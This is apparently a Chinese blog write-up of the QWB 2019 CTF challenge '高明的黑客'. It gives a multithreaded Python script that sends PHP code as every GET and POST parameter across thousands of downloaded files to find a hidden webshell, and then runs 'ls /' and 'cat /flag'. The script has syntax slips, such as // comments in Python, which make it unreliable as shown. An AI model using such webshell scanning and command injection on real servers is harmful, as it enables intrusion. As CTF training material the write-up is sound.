[强网杯 2019]高明的黑客(每日一题)

[强网杯 2019]高明的黑客(每日一题)

1,打开网页,发现提示,下载文件

在这里插入图片描述

2,发现了三千多个php文件,打开几个文件,发现有可以传参的地方,尝试传参,但命令并没有被执行。

image-20210907195329564

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RfKq4Y6p-1631019565642)(https://i.loli.net/2021/09/07/yVeIzNdU5c8Ebar.png)]

3,猜测这三千多文件里有能被利用的shell,于是编写脚本尝试(我好菜,只能抄大佬们的脚本,在学了在学了)

threading.Semaphore():控制线程的最大数量
os.chdir():改变当前路径到指定路径
requests.adapters.DEFAULT_RETRIES():设置重连次数,防止线程过高,断开连接
os.listdir():返回指定文件夹包含的文件或文件夹的名字的列表
requests.Session():维持会话,可以让我们在跨请求时保存某些参数
import os
import requests
import re
import threading
import time

print('开始时间: '+ time.asctime(time.localtime(time.time()))) 
s1 = threading.Semaphore(100)
filePath = r"D:/phpstudy_pro/WWW/src/"
os.chdir(filePath)
requests.adapters.DEFAULT_RETRIES = 5
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False     //设置连接的活跃状态为False
def get_content(file):
    s1.acquire()
    print('tring  '+file+'   '+time.asctime(time.localtime(time.time())))
    with open(file,encoding='utf-8') as f:       //打开php文件,提取所有的get和post参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]',f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]',f.read()))
    data = {}
    params = {}
    for m in gets:
        params[m] = "echo '123456';"
    for n in posts:
        data[n] = "echo '123456';"
    url = "http://127.0.0.1/src/" +file
    req = session.post(url,data=data,params=params)  //请求所有的get和post
    req.close()      //关闭请求,释放内存
    req.encoding = 'utf-8'
    content=req.text
    if '123456' in content:
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo '123456';")
            content =req.text
            req.close()
            if "123456" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo '123456';"})
                content =req.text
                req.close()
                if "123456" in content:
                    break
        if flag == 1:
            params = a
        else:
            params = b
        print('找到了利用文件: ' + file +"  and 找到了利用的参数:%s" %params)
        print('结束时间: '+time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:
    t = threading.Thread(target=get_content,args=(i,))
    t.start()

4,跑完脚本,找到可利用参数
找到了利用文件: xk0SzyKwfzw.php and 找到了利用的参数:Efa5BVG
ls /
image-20210907205458074

5,发现flag文件,cat /flag

image-20210907205623579

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值